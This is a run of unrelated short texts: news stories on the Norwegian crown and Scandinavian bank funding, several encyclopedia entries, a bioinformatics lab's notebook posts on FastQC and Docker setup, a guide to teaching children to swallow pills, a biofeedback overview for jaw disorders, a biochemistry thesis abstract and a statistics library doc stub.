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Global growth gloom may be behind Norwegian crown's 'mystery' weakness
((This story corrects paragraph 26 to say inflation running slightly above target of 2.0% (not below 2.5% target)) By Elizabeth Howcroft LONDON (Reuters) - Norway’s crown should be sailing high, thanks to a central bank that’s raising interest rates, a robust economy and a recovery in the price of its main export. Instead, it’s this year’s second worst major currency performer. Economists are for the most part unable to pinpoint domestic reasons for the crown’s weakness — it has fallen 3% against the euro this year alone — and some fret the trend is a reflection of worrying signs for the global economy. Although the Norges Bank held rates at 1.5% on Thursday without flagging a further tightening of policy in the near term, it has been an outlier among global central banks in having raised rates three times in the past year. Graphic: G10 + Norwegian crown, here The crown’s scant gains to a one-week high versus the euro after the policy meeting barely register against its 40% fall since mid-2012. It hit its lowest ever level last Friday at 10.245 EURNOK=D3. And that despite the crown being backed by a much higher interest rate than the main euro zone rate of minus 0.5%. Graphic: The Lonely Hiker, here The last time the currency of the wealthy Scandinavian oil-exporter was even close to its current level was during the global financial crisis in 2008-2009. And this time too, the root of the weakness may lie in deepening uncertainty about the world economy and investors’ reluctance to hold assets in small, open economies such as Norway’s which are highly exposed to global trade and economic growth. “All smaller trade-linked currencies have suffered. Domestic factors have been secondary,” said Erica Dalsto, chief strategist for Norway at SEB, who sees the crown possibly hitting 10.30 by year-end. She pointed to weakness in the neighbouring Swedish crown and the increasing correlation since early-2017 between the two currencies. Dalsto said the Norwegian crown’s poor performance suggested there was a lot of uncertainty among international investors spooked by U.S.-China trade ructions, Brexit wrangling and tensions in the Middle East. The Norges Bank appears to concur, noting in its September policy report that the crown had weakened markedly at the beginning of August when trade tensions between China and the U.S. deepened. Dalsto’s colleague Richard Falkenhall, a senior FX strategist at SEB, suggested the weakness could be down to big investors steering clear because of the risk of a global liquidity seize-up in event of a market crisis. That would make the crown and other smaller currencies like it highly vulnerable to a sharp fall. Others are less sure why the crown is performing so poorly. Analysts were expecting that last year’s crown slide, possibly due to the fall in the price of oil, would ease off in 2019. But while crude prices have risen 14% since January, the crown has continued to skid lower. UBS Asset Management’s head of currency strategy Jonathan Davies described the weakness as a “mystery”. “This is not the first time that Scandinavian currencies have sold off to levels that appear highly undervalued without obvious explanations,” he said. Davies noted the Norwegian crown was also cheap in the aftermath of the 2008 financial crisis but said none of the explanations given for the weakness at that time were “wholly convincing”. Niels Christensen, chief analyst at Nordea, agreed. “It’s a puzzle when you look at the macro-economics because they’re not as terrible as the currency is telling you,” he said. Graphic: Norwegian, Swedish crown increasingly correlated vs. euro, here Christensen said nervousness on international markets may not fully explain the crown’s performance because it is weak even against the currency of Sweden, another country highly correlated to the ebb and flow of global trade. The Norwegian crown fell this week to its lowest against the Swedish crown since January NOKSEK=D3. “It is a puzzle that it is the NOK that is the weakest of the two – if anything you find the weak data in Sweden, not Norway,” Christensen said. BMO Capital Markets’ European head of FX strategy, Stephen Gallo, was the one analyst who attributed the crown’s weakness to Norway’s economic fundamentals, citing a trade deficit, decreased industrial output and an “astronomical” run-up in private sector debt. “These issues could be enough to cause foreign investors to have second thoughts about buying NOK assets,” Gallo said. The central bank, however, does not seem too concerned. It said on Thursday crown weakness may result in higher inflation, which is currently running slightly above its 2% target. What’s more, the weak currency is a boon for the export-driven economy. And foreign ownership of Norwegian shares at 38.9% at the end of September is the highest since 2007, according to data from the Oslo Stock Exchange, which is up more than 10% this year .OBX. “For the central bank, as long as it’s not a dramatic fall, it’s a win-win,” Nordea’s Christensen said. Additional reporting by Tommy Wilkes in London and Terje Solsvik in Oslo; Graphics by Ritvik Carvalho; Editing by Sujata Rao and Kirsten Donovan | NEWS-MULTISOURCE |
-- Scandinavian Bank ‘Widgets’ Fueling Downgrade Risk in S&P Study
Scandinavia’s biggest banks have
failed to curb funding risks linked to financial innovation and
will probably only avoid downgrades if national regulators force
through stricter measures, according to Standard & Poor’s . Steps taken to date by lenders including Denmark ’s Danske
Bank A/S (DANSKE) and Nykredit A/S, as well as Nordea Bank AB (NDA) and Svenska
Handelsbanken AB (SHBA) in Sweden, aren’t enough, said Per Tornqvist, a
Stockholm-based analyst at S&P. As competitive pressure “forces
banks to maintain short-term funding,” regulators need to step
in and help banks extend their funding maturities, he said. “The more widgets and gadgets you bring to the table, the
more complex the product will be and the more risks there will
be,” Tornqvist said in an interview. “The government creates
the level playing field for market participants.” AAA-rated Scandinavia’s biggest banks are more vulnerable
to funding shocks than their peers in the U.S., France and
Italy , according to a July analysis by S&P, which measured
liquidity risks five years after the collapse of Lehman Brothers
Holdings Inc. paralyzed the global financial system. The rating
company criticized Nordic lenders’ practice of using funds as
short as one year to finance loans as long as 30 years, as well
as a reliance on short-term offshore borrowing. “Denmark, Sweden and Norway are scoring particularly
badly,” Tornqvist said. Half GDP Swedish banks are more dependent on market funding than
banks in most other countries, according to the Financial
Supervisory Authority in Stockholm . The nation’s banks need to
refinance about 20 percent of their assets every year, the
equivalent of more than half Sweden ’s $540 billion economy, the
FSA estimates. In Denmark, home to the world’s largest mortgage bond
market per capita, banks refinance as much as $228 billion
annually, spread over quarterly auctions. About 50 percent of
Danish borrowers refinance their mortgages annually, according
to the FSA in Copenhagen. Efforts to sidestep funding mismatches by inventing new
securities will do little to persuade S&P the lenders are really
addressing liquidity risks, Tornqvist said. “It’s not up to us to decide, but we can see for sure that
the old 30-year or 20-year or 10-year annuity loans with
matching funding take away everything but the risk of the client
not being able to pay,” he said. New Securities Banks are responding to the latest regulator demands that
they protect themselves against funding misalignments by
inventing new securities. Realkredit Danmark, Danske Bank’s mortgage arm, unveiled a
home loan last month with a rate that resets every six months
and that’s funded with three-year bonds. The lender designed the
security in anticipation of stable funding rules that require
banks to show they can survive 12 months without tapping
markets. Swedish and Danish banks, whose assets are about four times
the size of their economies, depend more heavily than lenders
elsewhere on markets because their deposit bases are smaller,
according to the S&P study. Still, Sweden’s biggest banks are
among Europe ’s best capitalized, helping drive down their
funding costs. While regulators have urged banks to become less reliant on
short-term funding, demand for the securities from borrowers and
investors such as Pacific Asset Management Co. shows little sign
of evaporating. Credit Watch S&P cited a shortening of funding maturities when it placed
Handelsbanken and Swedish state-backed mortgage lender SBAB Bank
AB on credit watch negative, and reiterated its negative
outlooks for Nordea and SEB AB in July. S&P also cut outlooks on
Danske and three other Danish banks. The central banks of Sweden and Denmark have asked lenders
to reduce their reliance on short-term funding. While Swedish
Finance Minister Anders Borg has criticized his country’s banks
for what he says is an overuse of short-term dollar funds,
Denmark’s government has mostly supported its mortgage lenders. Danish Business Minister Henrik Sass Larsen said last month
the market should be left to itself to decide the fate of the
country’s one-year mortgage bonds. “This is a very political issue,” Tornqvist said. “If
you tell the banks, extend your funding, that’s going to hit Mr.
and Mrs. Jensen by Christmas, no later. If you say to the
Swedish banks, go extend your funding, it’s going to trickle
through, but it’s less obvious.” S&P is waiting to see what requirements governments place
on lenders deemed systemic to their local economies before
taking any ratings actions, Tornqvist said. “We have signaled that if you do something -- and we
expect that to be the case -- it might neutralize our negative
outlook,” Tornqvist said. “If the government says, ‘This is
fine, it’s the best system ever, nothing needs to be fixed,’ we
probably wouldn’t agree with that.” To contact the reporter on this story:
Frances Schwartzkopff in Copenhagen at
fschwartzko1@bloomberg.net To contact the editor responsible for this story:
Tasneem Brogger at
tbrogger@bloomberg.net
Christian Wienberg at
cwienberg@bloomberg.net | NEWS-MULTISOURCE |
ABC Broken Hill
ABC Broken Hill is an ABC Local Radio station based in Broken Hill and broadcasting to the surrounding outback region in New South Wales, including the towns of Menindee, White Cliffs and Silverton.
Unlike the rest of New South Wales, Broken Hill operates as part of South Australia's ABC Local Radio network, and takes network feeds from ABC Radio Adelaide whenever it isn't producing its own content. This is because Broken Hill is on Central Time, while the rest of NSW is on Eastern Time.
History
The station went to air in the evening 29 July 1948 as station 2NB/760 AM. A ceremony was held in honour of the opening at the Broken Hill Town Hall and was attended by Acting Mayor Alderman W. F. Riddiford, Local Federal Member for Parliament J. J. Clark, Postmaster General Senator Cameron and Vice-Chairman of the ABC Mr E. R. Dawe, who stated that "2NB would bring programs nearer to the local Broken Hill people" and that "the Commission hoped that the people of Broken Hill would be better informed".
The Quartet Club, Zinc Corporation Orchestra, Philharmonic Society, and Barrier Industrial Unions Band provided the music entertainment that night. During the station's first year, there were only two staff, Jeff Medwell and Frank Scott.
The original studios on 194 Argent Street were completely destroyed by a fire at 1:06 AM on 1 February 1966, which caused around 6000 pounds/10700 dollars of damage. New studios were built at 454 Argent Street and opened on 23 February 1971 by ABC Chairman Robert Madgwick and the station thus resumed broadcasts. The station celebrated 50 years of broadcasting in 1998.
Local programming
ABC Broken Hill carries locally produced radio programming from 6:15 to 11:00 every weekday morning, with local ABC News bulletins at 6:30, 7:30, 8:30 and midday.
* Breakfast 6:15am to 10:00am – presented by Andrew Schmidt
* Mornings 10:00am to 11:00am – presented by Marcus Wilson
* Saturday Breakfast 5:30am to 7:45am – presented by Ron Josephs
* Saturday Opening Serve 8:30am to 9:00am – presented by Alex Page
When local programs are not being broadcast, programs are relayed from either ABC Adelaide or ABC Sydney.
Staffing
The Chief of Staff at ABC Broken Hill is Andrew Schmidt. The bureau is staffed by a team of three multiplatform news reporters, a rural reporter, a features reporter, a radio presenter, a radio producer and several casual staff. Journalists file stories to local platforms like the breakfast program and social media, as well as television, radio and online destinations across the ABC network.
Coverage area
ABC Broken Hill covers issues and events across a large portion of outback NSW, mostly contained with the Broken Hill City Council, Wentworth Shire Council, Central Darling Shire Council and unincorporated areas. | WIKI |
/2016Album/
W:/2016Album/ (stylized as W:/2016ALBUM/; pronounced "W drive 2016 album") is the eighth studio album by Canadian electronic music producer Deadmau5. The album was released on December 2, 2016, through Deadmau5 (Joel Zimmerman)'s independent record label Mau5trap. The album's title, which was suggested by fans on Twitch, refers to a computer directory on Zimmerman's network-attached storage server used to store the master tracks of the songs on the album. The album features several tracks Zimmerman uploaded to his SoundCloud account, prior to it being compromised. W:/2016Album/ is also his first studio album to be released exclusively by Mau5trap. Two singles from the album have been released: "Snowcone" and "Let Go" (featuring Grabbitz).
Background
Deadmau5 first announced the album's release during an interview with Pete Tong of BBC Radio 1 on November 7, 2016. Zimmerman stated that the album would have "an '80s sci-fi fantasy vibe", which he credits to his purchase of a Prophet-10 synthesizer. Shortly afterwards, the album's track list was leaked on Reddit, based on one that appeared briefly during a Twitch stream made by Zimmerman a month before.
Zimmerman eventually revealed that he was not satisfied with the album, stating that he felt it was "slapped together". He had previously hinted that he was already working on his next album. In an interview with Rolling Stone, Zimmerman said he was dissatisfied with the album because "it's not written from start to finish; it's over a year's worth of work that doesn't correlate".
Critical reception
Upon release, W:/2016Album/ received mixed reviews from critics. At Metacritic, which assigns a normalized rating out of 100 to reviews from mainstream publications, the album received an average score of 63, indicating "generally favourable reviews", based on 8 reviews. The Guardian gave the album a mostly positive review, stating: "This might be far from a perfect album, but it's certainly nothing to be ashamed of". Rolling Stone gave a mostly positive review as well saying: "Fist-pumpy EDM cheese this most certainly is not. Instead, W:/2016Album/ works equally in a field, car or headphones, the latest catalog entry from an artist who continues to delight in bucking expectations". Clash also gave a positive review, saying: "An album free from the shackles of a major label and its consequential rampant commercialism was always going to produce something that didn't immediately pander to its keg fuelled audience. The surprise is just how well deadmau5 pulls it off. If he actually makes a record he likes – it could be ground-breaking."
The Irish Times gave it a mostly negative review, stating: "The problem is that Zimmerman obviously didn't care too much about the final outcome to bother his hoop on the spit and polish process. Maybe W:/2017Album/ will be better", scoring it 2/5 stars. Jon Falcone from Drowned in Sound gave it an overwhelmingly negative review, noting that "nothing goes anywhere, and yet every song is so long. It's painful" awarding it only 1/10.
Track listing
Notes
* All copies of the vinyl format replace the standard version of "Let Go" with the extended version, although it's not listed as such on the back cover. | WIKI |
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New Georgian University
New Georgian University is a research university in Poti, Georgia (country). The university was established in 2015 under the patronage of the Apostolic Autocephalous Orthodox Church of Georgia. University is providing academic programs in Christian philosophy and Christian psychology.
Brief history
New Georgian University was founded with the blessing of Catholicos-Patriarch of All Georgia and with the effort of the Metropolitan of Poti and Khobi Grigoli (Berbichashvili). On 14 December 2015, university received state authorization and accreditation and was granted the status of university, which gives it the opportunity to implement higher educational programs and scientific researches. New Georgian University is offering MA and PhD Programs in Christian Philosophy, and Christian Psychology. University has partners in several countries including Germany, United States, Greece etc.
Faculty of Humanities and Social Sciences
Faculty of Humanities and Social Sciences is a major educational and administrative unit of the New Georgian University, currently it has 28 faculty members and offers the graduate and PhD programs.
Degree programs:
* MA in Christian Philosophy / Degree: Master of Philosophy – 2 years (4 semesters).
* MA in Christian Psychology / Degree: Master of Psychology – 2 years (4 semesters).
* PhD in Christian Philosophy / Degree: Doctor of Philosophy – 3 years (6 semesters).
Non-degree program:
* Continuing Education Program in Christian Studies – 1 year.
Honorary Doctors:
* Metropolitan Kallistos (Ware) of Diokleia
* Metropolitan John (Zizioulas) of Pergamon
* The Very Rev. Chad Hatfield
* Christos Yannaras
* Richard Swinburne
Archive of Caucasian Philosophy and Theology
The Archive of Caucasian Philosophy and Theology coordinates the academic research process at the university. Director of the Archive is professor Tengiz Iremadze. Archive aims to provide the thorough study of the rich theoretical heritage of Caucasus region; it promotes and popularizes Georgian philosophical and theological traditions in contemporary global world, develops new academic and research tools in Christian philosophy and theology, supports young researchers in philosophy and theology. Since 2015 the Archive has published more than 60 books. The main research areas of the Archive are: Christian philosophy, Christian theology, history of Georgian philosophy, intercultural philosophy, political theology, philosophical anthropology, neurophilosophy and bioethics.
Library
The library houses collections of theological and philosophical literature in Georgian and foreign languages (canonical texts, classical and contemporary texts of the history of philosophy, works of the Church Fathers, medieval Georgian and foreign authors, and contemporary Orthodox theologians). Under the direction of the Archive of Caucasian Philosophy and Theology the library is periodically enriched with private book collections of philosophers and theologians from the Caucasus region. The digital section of the library contains up to 70 000 digital books.
Academic projects
Petritsi Portal is the academic online platform of the New Georgian University. The name of the portal originates from the great medieval Georgian philosopher Ioane Petritsi. The portal brings together Georgian and foreign researchers working in the fields of philosophy, theology and social sciences. Portal regularly publishes new translations, academic papers and reviews in philosophy, theology and psychology.
The Encyclopedia of Georgian Philosophy and Theology is an online academic project developed on the basis of the Archive of Caucasian Philosophy and Theology. The encyclopedia includes articles on outstanding Georgian philosophers and theologians, as well as articles about schools, branches and concepts of Georgian philosophy and theology. The authors of the articles published in the encyclopedia are well-known Georgian and foreign scholars. | WIKI |
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FASTQC – Oly BGI GBS Raw Illumina Data Demultiplexed
Last week, I ran the two raw FASTQ files through FastQC. As expected, FastQC detected “errors”. These errors are due to the presence of adapter sequences, barcodes, and the use of a restriction enzyme (ApeKI) in library preparation. In summary, it’s not surprising that FastQC was not please with the data because it’s expecting a “standard” library prep that’s already been trimmed and demultiplexed.
However, just for comparison, I ran the demultiplexed files through FastQC. The Jupyter notebook is linked (GitHub) and embedded below. I recommend viewing the Jupyter notebook on GitHub for easier viewing.
Results:
Pretty much the same, but with slight improvements due to removal of adapter and barcode sequences. The restriction site still leads to FastQC to report errors, which is expected.
Links to all of the FastQC output files are linked at the bottom of the notebook.
Jupyter notebook (GitHub): 20170306_docker_fastqc_demultiplexed_bgi_oly_gbs.ipynb
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Data Received – Jay’s Coral RADseq and Hollie’s Geoduck Epi-RADseq
Jay received notice from UC Berkeley that the sequencing data from his coral RADseq was ready. In addition, the sequencing contains some epiRADseq data from samples provided by Hollie Putnam. See his notebook for multiple links that describe library preparation (indexing and barcodes), sample pooling, and species breakdown.
For quickest reference, here’s Jay’s spreadsheet with virtually all the sample/index/barcode/pooling info (Google Sheet): ddRAD/EpiRAD_Jan_16
I’ve downloaded both the demultiplexed and non-demultiplexed data, verified data integrity by generating and comparing MD5 checksums, copied the files to each of the three species folders on owl/nightingales that were sequenced (Panopea generosa, Anthopleura elegantissima, Porites astreoides), generated and compared MD5 checksums for the files in their directories on owl/nightingales, and created/updated the readme files in each respective folder.
Data management is detailed in the Jupyter notebook below. The notebook is embedded in this post, but it may be easier to view on GitHub (linked below).
Readme files were updated outside of the notebook.
Jupyter notebook (GitHub): 20170227_docker_jay_ngs_data_retrieval.ipynb
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Data Analysis – Initial O.lurida Fst Determination from GBS Data
Finally running some analysis on the output from my PyRad analysison 20160727.
I’m following Katherine Silliman’s Jupyter notebook (2bRAD Subset Population Structure Analysis.ipynb) as a guide.
The initial analysis (which isn’t much) is in the Jupyter notebook below. The analysis will be continued on a later date.
Jupyter notebook: 20161117_docker_oly_vcf_analysis.ipynb
I’ve embedded the notebook below, but it’s much easier to view (there are many lengthy commands/filenames that wrap lines in the embedded version below) the actual file linked above.
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Data Management – Tracking O.lurida FASTQ File Corruption
UPDATE 20170104 – These two corrupt files have been replaced with non-corrupt files.
Sean identified an issue with one of the original FASTQ files provided to use by BGI. Additionally, Steven had (unknowingly) identified the same corrupt file, as well as a second corrupt file in the set of FASTQ files. The issue is discussed here: https://github.com/sr320/LabDocs/issues/334
Steven noticed the two files when he ran the program FASTQC and two files generated no output (but no error message!).
The two files in question are:
• 151118_I137_FCH3KNJBBXX_L5_wHAXPI023905-96_1.fq.gz
• 151114_I191_FCH3Y35BCXX_L2_wHAMPI023991-66_2.fq.gz
This post is an attempt to document where things went wrong, but having glanced through this data a bit already, it won’t provide any answers.
I originally downloaded the data on 20160127 to my home folder on Owl (this is detailed in the Jupyter notebook in that post) and generated/compared MD5 checksum values. The values matched at that time.
So, let’s investigate a bit further…
Launch Docker container
docker run - p 8888:8888 -v /Users/sam/data/:/data -v /Users/sam/owl_home/:/owl_home -v /Users/sam/owl_web/:owl_web -v /Users/sam/gitrepos/LabDocs/jupyter_nbs/sam/:/jupyter_nbs -it 0ba43904567e
The command allows access to Jupyter Notebook over port 8888 and makes my Jupyter Notebook GitHub repo and my data files accessible to the Docker container.
Once the container was started, started Jupyter Notebook with the following command inside the Docker container:
jupyter notebook
This command is configured in the Docker container to launch a Jupyter Notebook without a browser on port 8888.
Jupyter notebook file: 20161117_docker_oly_genome_fastq_corruption.ipynb
I’ve embedded the notebook below, but it’s much easier to view (there are many lengthy commands/filenames that wrap lines in the embedded version below) the actual file linked above.
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Data Analysis – PyRad Analysis of Olympia Oyster GBS Data
Previously, I ran a PyRad analysis on just a subset of these samples in an attempt to have some data for a grant pre-proposal.
I’ve now completed a PyRad analysis on the full set. Now, I just need to figure out what to do with the output from this…
Jupyter Notebook: 20160715_ec2_oly_gbs_pyrad.ipynb
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Docker – VirtualBox Defaults on OS X
I noticed a discrepancy between what system info is detected natively on Roadrunner (Apple Xserve) and what was being shown when I started a Docker container.
Here’s what Roadrunner’s system info looks like outside of a Docker container:
However, here’s what is seen when running a Docker container:
It’s important to notice the that the Docker container is only seeing 2 CPUs. Ideally, the Docker container would see that this system has 8 cores available. By default, however, it does not. In order to remedy this, the user has to adjust settings in VirtualBox. VirtualBox is a virtual machine thingy that gets installed with the Docker Toolbox for OS X. Apparently, Docker runs within VirtualBox, but this is not really transparent to a beginner Docker user on OS X.
To change the way VirtualBox (and, in turn, Docker) can access the full system hardware, you must launch the VirtualBox application (if you installed Docker using Docker Toolbox, you should be able to find this in your Applications folder). Once you’ve launched VirtualBox, you’ll have to turn off the virtual machine that’s currently running. Once that’s been accomplished, you can make changes and then restart the virtual machine.
Shutdown VirtualBox machine before you can make changes:
Here are the default CPU settings that VirtualBox is using:
Maxed out the CPU slider:
Here are the default RAM settings that VirtualBox is using:
Changed RAM slider to 24GB:
Now, let’s see what the Docker container reports for system info after making these changes:
Looking at the CPUs now, we see it has 8 listed (as opposed to only 2 initially). I think this means that Docker now has full access to the hardware on this machine.
This situation is a weird shortcoming of Docker (and/or VirtualBox). Additionally, I think this issue might only exist on the OS X and Windows versions of Docker, since they require the installation of the Docker Toolbox (which installs VirtualBox). I don’t think Linux installations suffer from this issue.
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Docker – One liner to create Docker container
One liner to create Docker container for Jupyter notebook usage and data analysis on roadrunner (Xserve):
docker run -p 8888:8888 -v /Users/sam/gitrepos/LabDocs/jupyter_nbs/sam/:/notebooks -v /Users/sam/data/:/data -v /Users/sam/analysis/:/analysis -it kubu4/bioinformatics:v11 /bin/bash
This does the following:
• Maps roadrunner port 8888 to Docker container port 8888 (for Jupyter notebook access outside of the Docker container)
• Mounts my local Jupyter notebooks directory to the
/notebooks
directory in the Docker container
• Mounts my local data directory to the
/data
directory in the Docker container
• Mounts my local analysis directory to the
/analysis
directory in the Docker container
These commands allow me to interact with data outside of the Docker container.
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Docker – Improving Roberts Lab Reproducibility
In an attempt at furthering our lab’s abilities to maximize our reproducibility, I’ve been working on developing an all-encompassing Docker image. Docker is a type of virtual machine (i.e. a self-contained computer that runs within your computer). For the Roberts Lab, the advantage of using Docker is that the Docker images can be customized to run a specific suite of software and these images can then be used by any other person in the lab (assuming they can run Docker on their particular operating system), regardless of operating system. In turn, if everyone is using the same Docker image (i.e. the same virtual machine with all the same software), then we should be able to reproduce data analyses more reliably, due to the fact that there won’t be differences between software versions that people are using. Additionally, using Docker greatly simplifies the setup of new computers with the requisite software.
I’ve put together a Dockerfile (a Dockerfile is a text file/script that Docker uses to retrieve software and build a computer image with those specific instructions) which will automatically build a Docker image (i.e. virtual computer) that contains all of the normal bioinformatics software our lab uses. This has been a side project while I wait for Stacks analysis to complete (or, fail, depending on the day) and it’s finally usable! The image that is built from this Dockerfile will even let the user run R Studio and/or Jupyter Notebooks in their browser (I’m excited about this part)!
Here’s the current list of software that will be installed:
bedtools 2.25.0
bismark 0.15.0
blast 2.3.0+
bowtie2 2.2.8
bsmap 2.90
cufflinks 2.1.1
fastqc 0.11.5
fastx_toolkit 0.0.13
R 3.2.5
RStudio Server0.99
pyrad 3.0.66
samtools 0.1.19
stacks 1.40
tophat 2.1.1
trimmomatic 0.36
In order to set this up, you need to install Docker and download the Dockerfile (Dockerfile.bio) I’ve created.
I’ve written a bit of a user guide (specific to this Dockerfile) here to get people started: docker.md
The user guide explains a bit how all of this works and tries to progress from a “basic” this-is-how-to-get-started-with-Docker to an “advanced” description of how to map ports, mount local volumes in your containers, and how to start/attach previously used containers.
The next major goal I have with this Docker project is to get the R kernel installed for Jupyter Notebooks. Currently, the Jupyter Notebook installation is restricted to the default Python 2 kernel.
Additionally, I’d like to improve the usability of the Docker image by setting up aliases in the image. Meaning, a user who wants to use the bowtie program can just type “bowtie”. Currently, the user has to type “bowtie2_2.2.8″ (although, with this being in the system PATH and tab-completion, it’s not that big of a deal), which is a bit ugly.
For some next level stuff, I’d also like to setup all Roberts Lab computers to automatically launch the Docker image when the user opens a terminal. This would greatly simplify things for new lab members. They wouldn’t have to deal with going through the various Docker commands to start a Docker container. Instead, their terminal would just put them directly into the container and the user would be none-the-wiser. They’d be reproducibly conducting data analysis without even having to think about it.
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Most school-aged children are able to learn to swallow tablets and capsules
In general, children are able to learn to swallow tablets or capsules from approximately age six years, and most master the technique on their own by age ten years. Some children, particularly those with chronic conditions requiring daily medicines, can be taught to swallow pills at a younger age.
Parents frequently report barriers for children learning to swallow tablets and capsules, however, these can often easily be overcome. For example:
Anxiety – Children who fear swallowing pills are likely to be tense when attempting to do so, therefore making the process more difficult. This tension, particularly in the throat, neck and chest can make the child feel like they are having trouble breathing which may, in itself, cause further anxiety. Learning strategies to swallow tablets and capsules effectively, and practicing these techniques, can help to reduce the child’s anxiety and make them feel more relaxed, therefore increasing their chance of success. Children who are anxious about swallowing medicines often have parents who are also reluctant or unable to swallow medicines themselves. Therefore it is important that parents lead by example and demonstrate that swallowing pills or capsules is easy.
Strong gag reflex – Children who are fussy eaters or who gag frequently on food and drink can often struggle with swallowing medicines. Getting the child to take a deep breath before inserting a tablet or capsule in their mouth can help them to suppress their gag reflex.
Texture, size and shape – The size and shape of the tablet or capsule, and the nature of the coating can affect the ease of swallowing. Using yoghurt or a thick drink, such as a milkshake, may help to reduce a child’s awareness of a tablet or capsule being swallowed.
Techniques for swallowing tablets and capsules
There are many techniques for swallowing tablets and capsules, and it is appropriate for children to find one which works for them. In some circumstances, such as when a child needs to take ongoing medicines, it may be appropriate to train them to swallow tablets and capsules, e.g. using lollies (see: “Practice makes perfect”). A study of 33 children aged 2 to 17 years with pill-swallowing difficulties found that after 14 days practice, all children were able to swallow tablets or capsules.1
In general, it is best not to throw a tablet or capsule towards the back of the mouth. This is because it can actually make swallowing more difficult.
A recommended technique for swallowing a pill or capsule is to:
1. Ask the child to have a drink of water or their favourite drink to moisten their mouth
2. Place the tablet or capsule into the centre of the child’s mouth
3. Ask the child to take a big sip of their drink, and then swallow
Yoghurts and thick drinks, such as milkshakes, can help ease tablets or capsules down. Using a straw to drink, with a tablet or capsule already in the mouth, may also help by getting the child to concentrate on the suction of the straw rather than thinking about the tablet or capsule going down.
Another technique is to put the capsule into a small spoonful of apple sauce or ice cream. This can help capsules to slip down the throat more easily.
The physical properties of capsules may cause them to float in the mouth when taken with water. Leaning forward when swallowing can help the capsule go down.2 This technique may not be comfortable for everyone, but some children may wish to try this:
1. Ask the child look down at the floor instead of up at the ceiling
2. Slip the capsule into the centre of the child’s mouth.
3. Ask the child to take a big sip of their drink while still looking at the floor. The capsule should float to the back of the child’s mouth and roll down their throat with the drink.
Other options for administering medicine
When children cannot yet swallow whole tablets or capsules, an option could be to crush a tablet or empty the contents of a capsule into food or drink. Some tablets or capsules can be compounded into a suspension, but there can be concerns about stability, bioavailability and dose accuracy.
This is not possible for all medicines, for example long-acting medicines and those with special coatings cannot be crushed or opened, and some medicines cannot be mixed with certain foods. These options must be checked with a Pharmacist first.
Practice makes perfect – A training guide for parents, caregivers and children
Teaching children to swallow medicines is all about practice. Using lollies that are easy to swallow can be an effective way of practising taking tablets or capsules. Children begin practising with small lollies and progressively increase to larger sized lollies, which are comparable in size to tablets or capsules.
Make sure the exercise is fun and relaxed, and keep sessions short so the child does not become tired or stressed. Be sure to encourage the child’s successes along the way and be supportive. The child can be encouraged to try different head positions when swallowing, e.g. head tilted back, slightly forward, in the centre, to the left and to the right. Let the child find which head position suits them best.
You will need:
• Cake decorating balls or sprinkles
• Tic-Tacs®
• Mini M&Ms®
• M&Ms® or Smarties®
(or other appropriately sized lollies)
What to do
1. Ask the child to take a few sips of water or their favourite drink to moisten their mouth and throat
2. Start with the smallest sized lolly (e.g. cake decorating balls or sprinkles) and explain to the child that you are going to teach them a simple way to swallow pills
3. Show them by putting a single lolly towards the back of your tongue, taking a gulp of water and swallowing the lolly.
4. Tell the child it is their turn. They should keep trying up to three times if they are unable to swallow, and they can chew the lolly if the third time is unsuccessful.
5. Repeat this until the child is comfortable with a particular sized lolly – this usually takes about three successful tries. Then move up to a slightly larger size lolly and repeat the procedure until there is success at this level.
6. Continue to move up to larger sizes until the child succeeds at swallowing a lolly of a comparable size to a pill (e.g. M&Ms®, Smarties®). At this point the child should be able to swallow most pills with minimal problems.
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For further information see: The University of Calgary website ‘Better than a spoonful of sugar – how to swallow pills’, which contains videos showing ways to teach children to swallow tablets and capsules: www.research4kids.ucalgary.ca/pillswallowing
References
1. Kaplan BJ, Steiger RA, Pope J, et al. Successful treatment of pill-swallowing difficulties with head posture practice. Paediatr Child Health 2010;15:e1–5.
2. Medsafe. Helping medicine capsules go down. Prescriber Update 2003;24. Available from: www.medsafe.govt.nz (Accessed Aug, 2014) | ESSENTIALAI-STEM |
Temporomandibular Disorders: Biofeedback
Topic Overview
You can use biofeedback to help reduce muscle tension related to temporomandibular disorder (TMD).
Biofeedback uses equipment that monitors muscle tension or skin temperature. Electrodes are placed on your jaw muscles. The electrodes detect electrical current produced by muscle contraction. If you clench your teeth or have poor posture, the biofeedback machine produces a signal. It might be an upward-pointing arrow or a beeping sound. As you relax, the arrow goes back down or the beeping stops or slows.
You and the biofeedback therapist monitor these visual measurements. You learn to recognize when emotional tension makes muscles tight and when relaxation makes muscles loosen. Under the therapist's guidance, you can use this information to learn relaxation techniques for controlling muscle tension and skin temperature.
Biofeedback is a conscious, learned relaxation. It may not be as effective as hypnosis techniques, which work on the subconscious level. Most habits like jaw clenching and tooth grinding are done unconsciously, often during sleep or times of intense concentration.
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Fotbollsfest
"Fotbollsfest" is Swedish soccer/football song written by Fredrik Andersson, Ingvar Irhagen, Christoffer Olssoon and Jens Magnusson, and recorded by Frans featuring Elias in support of the Team Sweden for the 2008 UEFA European Football Championship in Austria and Switzerland. The song is a follow-up hit to "Who's da Man" by Elias featuring Frans that was the biggest summer hit of 2006 in Sweden and was a tribute to the soccer player Zlatan Ibrahimović. | WIKI |
Date of Award
6-2009
Document Type
Union College Only
Degree Name
Bachelor of Science
Department
Biochemistry
Language
English
Keywords
lipid, fsh, hormone, rafts, called
Abstract
Follicle stimulating hormone (FSH) is an important hormone in both male and female reproduction. By studying the mechanisms of action of this hormone, it is then possible to be able to come up with ways to disrupt these pathways, leading to advances in birth control. Specifically, FSH stimulates the ovarian follicles to grow in females and it stimulates spermatogenesis in males. This hormone transmits its signal by binding to G protein coupled receptors on the cell surface. In the cell membrane, there are specific domains called lipid rafts. These domains are often associated with being a central area for signal transduction in cells. The main goal of our research was to determine if the FSH receptor resides in a lipid raft. One way to identify lipid rafts is by the presence of a membrane sphingolipid called ganglioside GM1. By staining cells with antibodies that recognize the FSH receptor and an antibody that stains for GM1 we used fluorescence and confocal microscopy to try to determine if the two signals coincide. The two signals showed limited colocalization. This is consistent with our model which suggests that only some FSHR is in lipid rafts, and only some lipid rafts contain FSHR.
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MGC Map
hyppo offers the hyppo.independence.MGC class, which is a powerful independence test to fit a host of different types of data. The MGC Map is essentially an array of local correlations (i.e. the test statistic that at each nearest neighbor pair). The optimal scale is the nearest neighbor pair that maximizes the test statistic, and this test statistic is the one we return as part of MGC. Let's look at how we can use hyppo to find a trend in linear data sets (hyppo.tools.linear) and nonlinear data sets (for example hyppo.tools.spiral) and visualize this map and optimal scale.
• MGC Map - Linear
• MGC Map - Spiral
Out:
